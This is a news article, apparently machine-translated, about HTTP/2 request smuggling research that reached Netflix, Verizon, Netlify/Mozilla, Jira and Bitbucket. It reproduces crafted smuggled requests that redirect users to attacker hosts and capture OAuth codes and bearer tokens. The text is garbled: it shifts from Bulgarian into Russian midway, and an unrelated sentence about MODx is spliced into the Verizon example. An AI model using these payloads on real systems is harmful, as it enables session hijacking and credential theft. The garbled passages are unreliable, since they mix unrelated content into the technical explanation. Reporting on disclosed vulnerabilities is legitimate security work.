Уеб системи, в които фронтенд приема връзки по HTTP/2 и предава на бекенда по HTTP/1.1, се оказаха податливи на нов вариант на атаката "HTTP Request Smuggling", позволяваща чрез изпращане на специално оформени клиентски заявки да се намесва в съдържанието на заявките на други потребители, обработвани в същия поток между фронтенда и бекенда. Атаката може да се използва за подмяна на злонамерен JavaScript код в сесия с легитимен сайт, заобикаляне на системи за ограничаване на достъпа и прихващане на параметри за автентикация.
Проблемът засяга уеб проксита, балансьори на натоварването, уеб ускорители, системи за доставка на съдържание и други конфигурации, при които заявките се пренасочват по схемата фронтенд-бекенд. Авторът на изследването демонстрира възможността за атака върху системи като Netflix, Verizon, Bitbucket, Netlify CDN и Atlassian и получи 56 хиляди долара в програмите за награди за откритие на уязвимости. Наличието на проблема е потвърдено и в продуктите на F5 Networks. Частично проблемът засяга mod_proxy в HTTP сървъра Apache (CVE-2021-33193), като корекции се очакват в версия 2.4.49 (разработчиците бяха уведомени за проблема в началото на май и получиха 3 месеца за поправка). В nginx възможността за едновременно указване на заглавията "Content-Length" и "Transfer-Encoding" беше блокирана в предходното издание (1.21.1). Средствата за провеждане на атаки вече са добавени в инструмента Burp и са налични под формата на разширение Turbo Intruder.
Принципът на действие на новия метод за намеса в заявките в трафика е аналогичен на уязвимостта, открита от същия изследовател преди две години, но ограничена до фронтенди, които приемат заявки по HTTP/1.1. Напомняме, че в схемата фронтенд-бекенд, заявките на клиентите се приемат от допълнителен възел — фронтенд, който установява дълготрайна TCP връзка с бекенда, извършващ непосредствената обработка на заявките. Чрез това общо свързване обикновено се предават заявки на различни потребители, които следват една след друга с разделяне посредством средствата на протокола HTTP.
Класическата атака "HTTP Request Smuggling" се основава на различията в интерпретацията на HTTP заглавията "Content-Length" (определя общия размер на данните в заявката) и "Transfer-Encoding: chunked" (позволява предаване на данни на части) от страна на фронтенд и бекенд. Например, ако фронтендът поддържа само "Content-Length", но игнорира "Transfer-Encoding: chunked", атакуващият може да изпрати заявка, в която едновременно са указани заглавията "Content-Length" и "Transfer-Encoding: chunked", но размерът в "Content-Length" не съответства на размера на chunked-верига. В този случай фронтендът ще обработи и пренасочи заявката според "Content-Length", а бекендът ще очаква завършването на блока въз основа на "Transfer-Encoding: chunked", като оставащият хвост от заявката на атакуващия ще се окаже в началото на чуждата заявка, пренасочена след това.
В отличие от текстовия протокол HTTP/1.1, чийто анализ се извършва на ниво стрингови данни, HTTP/2 е бинарен протокол и манипулира блокове данни с предварително зададен размер. В HTTP/2 се използват псевдо-заглавия, които съответстват на обикновените HTTP заглавия. При взаимодействие с бекенда през протокола HTTP/1.1, фронтендът преобразува тези псевдо-заглавия в аналогични HTTP заглавия на HTTP/1.1. Проблемът е, че бекендът взема решения за анализ на потока на базата на указаните от фронтенда HTTP заглавия, без информация за параметрите на оригиналната заявка.
Включително в формата на псевдо-заглавия могат да бъдат предадени стойностите "content-length" и "transfer-encoding", въпреки че в HTTP/2 те не се използват, тъй като размерът на всички данни се определя в отделно поле. Въпреки това, при преобразуването на заявка HTTP/2 в HTTP/1.1, тези заглавия се прехвърлят и могат да заблудят бекенда. Извеждат се два основни варианта на атака: H2.TE и H2.CL, при които бекендът се заблуждава от некоректната стойност transfer-encoding или content-length, която не съответства на реалния размер на тялото на заявката, постъпила към фронтенда по протокола HTTP/2.
Като пример за атака H2.CL се посочва неправилен размер в псевдо-заглавката content-length при изпращане на заявка HTTP/2 към Netflix. Тази заявка води до добавяне на аналогична HTTP-заглавка Content-Length при обращение към бекенда по HTTP/1.1, но тъй като размерът в Content-Length е посочен по-малък от действителния, част от данните в края се обработват като начало на следващата заявка.
Например, заявка HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Ще доведе до изпращане на заявка към бекенда: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Тъй като Content-Length има стойност 4, бекендът ще приеме като тяло на заявката само «abcd», а останалата част «GET /n HTTP/1.1…» ще обработи като начало на следваща заявка, свързана с друг потребител. Съответно, ще настъпи разсинхронизация на потока и в отговор на следващата заявка ще бъде предоставен резултат от обработката на подставената заявка. В случая с Netflix, указанието на външен хост в заглавката «Host:» в подставената заявка е довело до извеждане на отговор на клиента «Location: https://02.rs?x.netflix.com/n» и е позволило предаване на произволно съдържание на клиента, включително изпълнение на собствен JavaScript код в контекста на сайта Netflix.
Вторият вариант на атаката (H2.TE) е свързан с подмяна на заглавката «Transfer-Encoding: chunked». Използването на псевдо-заглавката transfer-encoding в HTTP/2 е забранено от спецификацията и заявките с нея трябва да се трактоват като некоректни. Въпреки това, някои реализации на фронт-ендове не отчитат това изискване и позволяват употребата на псевдобара transfer-encoding в HTTP/2, който се преобразува в аналогична заглавка HTTP. При наличие на заглавка «Transfer-Encoding» бекендът може да я възприеме за по-приоритетна и да извърши анализ на данните на части в режим «chunked» с използване на блокове с различен размер в формата «{размер}\r\n{блок}\r\n{размер}\r\n{блок}\r\n0», въпреки първоначалното разделение по общ размер.
Наличието на подобна уязвимост беше демонстрирано на примера на компания Verizon. Проблемът касаеше портала за удостоверяване и на оригиналния MODx и ви предоставя повече инструменти за създаване на персонализирани уебсайтове и богати уеб приложения., който също се използва на такива сайтове като Huffington Post и Engadget. Например, заявка на клиента по HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Представил на бэкенд HTTP/S 1.1 запрос: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Бэкенд, в свою очередь, игнорировал заголовок «Content-Length» и разделял поток на основе «Transfer-Encoding: chunked». В результате атака позволила перенаправить запросы пользователей на свой сайт, а также перехватить запросы, касающиеся аутентификации OAuth, параметры которых отображались в заголовке Referer, и имитировать сеанс аутентификации, отправляя учетные данные пользователя на хост атакующего. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Для атаки на реализации HTTP/2, не допускающие указание псевдо-заголовка transfer-encoding, был предложен еще один метод, связанный с подстановкой заголовка «Transfer-Encoding» через его прикрепление к другим псевдо-заголовкам, разделяемым символом новой строки (при преобразовании в HTTP/1.1 в таком случае создается два отдельных заголовка HTTP).
Например, указанной проблеме оказались подвержены Atlassian Jira и Netlify CDN (используется для отдачи стартовой страницы Mozilla в Firefox). В частности, запрос HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
привел к отправке бэкенду HTTP/1.1 запроса POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
Еще одним вариантом подстановки заголовка «Transfer-Encoding» стало прикрепление его к имени другого псевдозаголовка или к строке с методом запроса. Например, при обращении к Atlassian Jira имя псевдо-заголовка «foo: bar\r\ntransfer-encoding» со значением «chunked» приводило к добавлению заголовков HTTP «foo: bar» и «transfer-encoding: chunked», а указание в псевдо-заголовке «:method» значения «GET / HTTP/1.1\r\nTransfer-encoding: chunked» транслировалось в «GET / HTTP/1.1\r\ntransfer-encoding: chunked».
Исследователь, обнаруживший проблему, также предложил технику туннелинга запросов для осуществления атаки на фронт-энды, в которых для каждого IP адреси Установява се отделна връзка с бекенда и трафикът на различни потребители не се смесва. Предложената техника не позволява да се намесва в заявките на другите потребители, но предоставя възможност за отравяне на общ кеш, влияещ на обработката на другите заявки, и позволява да се извършва замяна на вътрешни HTTP заглавия, използвани за предаване на служебна информация от фронтенда към бекенда (например, при аутентификация на страната на фронтенда в подобни заглавия на бекенда могат да се предават данни за текущия потребител). Като пример за прилагане на метода на практика, чрез отравяне на кеша успяхме да получим контрол над страниците в услугата Bitbucket.
Източник: opennet.ru
